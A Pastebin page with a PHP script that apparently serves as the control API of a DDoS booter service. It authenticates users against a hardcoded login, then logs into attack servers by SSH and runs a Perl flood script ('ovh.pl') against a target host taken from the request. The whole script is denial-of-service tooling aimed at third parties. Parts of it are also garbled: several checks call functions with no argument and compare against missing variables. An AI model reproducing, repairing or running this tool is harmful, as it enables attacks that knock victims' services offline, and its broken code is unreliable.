Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- ini_set('default_socket_timeout', 3);
- ignore_user_abort(true);
- set_time_limit(1000);
- $apis = [
- "1" => [
- "ip" =>'IP',
- "username"=>'USER',
- "password"=>'PASSWORD',
- ],
- // "2" => [
- // "ip" =>'IP',
- // "username"=>'USER',
- // "password"=>'PASSWORD',
- ],
- ];
- $key = $_GET['key'];
- $host = escapeshellarg($_GET['host']);
- $method = $_GET['method'];
- $action = $_GET['action'];
- $array = array("OVH");
- $OUTPUT = [];
- $salt = "Bu5hdrHsO6emxROAm1d";
- $users = [ "1" => [
- "username" => "Inferno",
- "password" => "BigBooterNet!"
- ],
- ];
- $loggedIn = false;
- foreach($users as $user) {
- $auth = $user["username"]+$user["password"]+$salt;
- if($auth == $_GET["auth"]) {
- $loggedIn = true;
- }
- }
- if($loggedIn == false) {
- die("0");
- }
- if(isset($_GET["login_service"])) {
- die("LOGIN_SUCCESS");
- }
- if (!empty()){
- }else{
- die('Error: time is empty!');}
- if (!empty($host)){
- }else{
- die('Error: Host is empty!');}
- if (!empty($method)){
- }else{
- die('Error: Method is empty!');}
- if (in_array($method, $array)){
- }else{
- die('Error: The method you requested does not exist!');}
- if ($port > 44405){
- die('Error: Ports over 44405 do not exist');}
- if ( > 1000){
- die('Error: Cannot exceed 1000 seconds!');}
- if(ctype_digit()){
- die('Error: Time is not in numeric form!');}
- if(ctype_digit($Port)){
- die('Error: Port is not in numeric form!');}
- if ($method == "OVH") { $command = "screen -d -m perl /root/ovh.pl $host ; screen -d -m perl /root/ovh.pl $host "; }
- if ($action == "stop") { $command = "pkill screen"; }
- if (!function_exists("ssh2_connect")) die("Error: SSH2 does not exist on you're server");
- $i = 0;
- foreach ($apis as $api) {
- $i++;
- if(!($con = ssh2_connect($api["ip"], 22))){
- array_push($OUTPUT, [
- "server" => $i,
- "status" => "CONECTION FAILED"
- ]);
- echo json_encode($OUTPUT);
- } else {
- if(!ssh2_auth_password($con, $api["username"], $api["password"])) {
- array_push($OUTPUT, [
- "server" => $i,
- "status" => "INCORECT SERVER LOGIN"
- ]);
- } else {
- if (!($stream = ssh2_exec($con, $command ))) {
- array_push($OUTPUT, [
- "server" => $i,
- "status" => "Error: You're server was not able to execute you're methods file and or its dependencies"
- ]);
- } else {
- stream_set_blocking($stream, false);
- $data = "";
- while ($buf = fread($stream,4096)) {
- $data .= $buf;
- }
- array_push($OUTPUT, [
- "server" => $i,
- "status" => "hitting: $host using $method for "
- ]);
- fclose($stream);
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement